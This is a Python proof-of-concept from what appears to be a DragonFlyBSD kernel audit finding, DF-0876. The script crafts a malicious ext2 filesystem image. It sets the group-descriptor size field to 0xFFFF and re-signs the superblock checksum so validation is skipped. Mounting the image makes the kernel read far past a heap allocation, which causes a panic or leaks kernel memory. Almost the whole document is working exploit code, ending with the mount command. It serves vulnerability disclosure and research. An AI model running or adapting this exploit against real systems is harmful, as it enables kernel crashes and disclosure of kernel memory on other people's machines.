DragonFlyBSD Kernel Audit
DF-0876 / craft_img.py
← back to finding ↓ download raw
#!/usr/bin/env python3
"""
DF-0876 — ext2 image crafter.

Produces an ext2/ext4 image with:
  * metadata_csum feature ENABLED (so the GD csum path runs at mount), and
  * 64bit feature DISABLED (so the desc_size validation in
    sys/vfs/ext2fs/ext2_vfsops.c:550 is NOT performed), and
  * s_desc_size patched to 0xFFFF on disk, and
  * the superblock CRC32C recomputed so ext2_sb_csum_verify (ext2_csum.c:87)
    accepts the patched superblock.

On mount, ext2_compute_sb_data (vfsops.c:459) calls ext2_gd_csum_verify
(vfsops.c:688 -> ext2_csum.c:708) which iterates fs->e2fs_gcount group
descriptors and calls ext2_gd_csum (ext2_csum.c:666).  Inside ext2_gd_csum,
the METADATA_CKSUM branch reads `e3fs_desc_size - offset` bytes from
`gd + offset` (ext2_csum.c:684-686); with desc_size=0xFFFF and offset=32,
that read length is 65503 bytes — far past the 64-byte struct ext2_gd in
the e2fs_gd slab allocation.  This page-faults (panic on INVARIANTS-ON
GENERIC) or leaks heap (info-leak on production).

Usage:  ./craft_img.py  OUT_IMG   [SIZE_KB]
"""
import os, sys, struct, subprocess, shutil

# Standard on-disk ext4 superblock offsets (within superblock, not within image).
# Cross-checked against struct ext2fs in sys/vfs/ext2fs/ext2fs.h:
#   offsetof e2fs_uuid              = 104
#   offsetof e3fs_desc_size         = 254  (== Linux s_desc_size at SB+254)
#   offsetof e4fs_chksum_type       = 373
#   offsetof e4fs_chksum_seed       = 624
#   offsetof e4fs_sbchksum          = 1020
# Superblock itself begins at byte 1024 in the image.
SB_OFFSET         = 1024
OFF_UUID          = 104
OFF_DESC_SIZE     = 254
OFF_CHKSUM_TYPE   = 373
OFF_CHKSUM_SEED   = 624
OFF_SBCHKSUM      = 1020   # s_checksum, last 4 bytes of the 1024-byte SB
SB_LEN            = 1024

# ext2/e2fs feature flags (from sys/vfs/ext2fs/ext2fs.h)
EXT2F_INCOMPAT_64BIT         = 0x0080
EXT2F_ROCOMPAT_METADATA_CKSUM= 0x0400
EXT2F_ROCOMPAT_GDT_CSUM      = 0x0010

EXT4_CRC32C_CHKSUM = 1

# ---- Castagnoli CRC32C, identical to libkern/icrc32.c (no in/out inversion) ----
_CRC32C_POLY = 0x82F63B78  # reflected
def _make_table():
    table = []
    for i in range(256):
        crc = i
        for _ in range(8):
            crc = (crc >> 1) ^ _CRC32C_POLY if (crc & 1) else (crc >> 1)
        table.append(crc)
    return table
_CRC32C_TABLE = _make_table()

def calculate_crc32c(crc, buf):
    """Running CRC32C; same semantics as DragonFly's calculate_crc32c()."""
    for b in buf:
        crc = (crc >> 8) ^ _CRC32C_TABLE[(crc ^ b) & 0xff]
    return crc & 0xFFFFFFFF

def craft(out_path, size_kb=4096):
    size_mb = (size_kb + 1023) // 1024
    if os.path.exists(out_path):
        os.remove(out_path)
    # 1) Create a clean ext2 image: blocksize 1024, metadata_csum ON,
    #    64bit OFF, no journal, no misc features that complicate patching.
    mke2fs = shutil.which("mke2fs") or shutil.which("mkfs.ext4")
    cmd = [
        mke2fs, "-t", "ext2", "-b", "1024", "-O", "metadata_csum,^64bit",
        "-O", "^resize_inode,^dir_nlink,^ext_attr,^filetype,^sparse_super,^large_file",
        "-E", "nodiscard", "-F", "-q", out_path, f"{size_mb}M",
    ]
    print("[*] running:", " ".join(cmd))
    subprocess.run(cmd, check=True)

    with open(out_path, "r+b") as f:
        img = f.read()

    sb = bytearray(img[SB_OFFSET:SB_OFFSET + SB_LEN])

    # Confirm feature flags
    feat_incompat = struct.unpack_from("<I", sb, 96)[0]
    feat_rocompat = struct.unpack_from("<I", sb, 100)[0]
    desc_size     = struct.unpack_from("<H", sb, OFF_DESC_SIZE)[0]
    chksum_type   = sb[OFF_CHKSUM_TYPE]
    print(f"[*] BEFORE patch:")
    print(f"      features_incompat = 0x{feat_incompat:08x}  "
          f"(64bit={'ON' if feat_incompat & EXT2F_INCOMPAT_64BIT else 'OFF'})")
    print(f"      features_rocompat = 0x{feat_rocompat:08x}  "
          f"(metadata_csum={'ON' if feat_rocompat & EXT2F_ROCOMPAT_METADATA_CKSUM else 'OFF'})")
    print(f"      s_desc_size       = {desc_size}")
    print(f"      s_checksum_type   = {chksum_type}")

    if not (feat_rocompat & EXT2F_ROCOMPAT_METADATA_CKSUM):
        raise SystemExit("metadata_csum feature not set; refusing to ship")
    if feat_incompat & EXT2F_INCOMPAT_64BIT:
        raise SystemExit("64bit feature is set; desc_size validation would run")

    # 2) Patch s_desc_size to 0xFFFF
    struct.pack_into("<H", sb, OFF_DESC_SIZE, 0xFFFF)
    # Make sure chksum_type is CRC32C (it always is for metadata_csum)
    sb[OFF_CHKSUM_TYPE] = EXT4_CRC32C_CHKSUM

    # 3) Recompute superblock CRC32C over [0 .. OFF_SBCHKSUM) and write to s_checksum.
    #    ext2_sb_csum_set (ext2_csum.c:110-115):
    #       e4fs_sbchksum = htole32(calculate_crc32c(~0, sb, offsetof(sb, e4fs_sbchksum)))
    new_sb_crc = calculate_crc32c(0xFFFFFFFF, bytes(sb[:OFF_SBCHKSUM]))
    struct.pack_into("<I", sb, OFF_SBCHKSUM, new_sb_crc)

    print(f"[*] AFTER patch:")
    print(f"      s_desc_size       = 0xFFFF ({struct.unpack_from('<H', sb, OFF_DESC_SIZE)[0]})")
    print(f"      s_checksum        = 0x{new_sb_crc:08x}")

    img = bytearray(img)
    img[SB_OFFSET:SB_OFFSET + SB_LEN] = sb
    with open(out_path, "wb") as f:
        f.write(img)

    print(f"[+] crafted image: {out_path} ({len(img)} bytes)")
    print(f"[+] mount with:    mount_ext2fs {out_path} /mnt")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(__doc__); sys.exit(1)
    out = sys.argv[1]
    size = int(sys.argv[2]) if len(sys.argv) > 2 else 4096
    craft(out, size)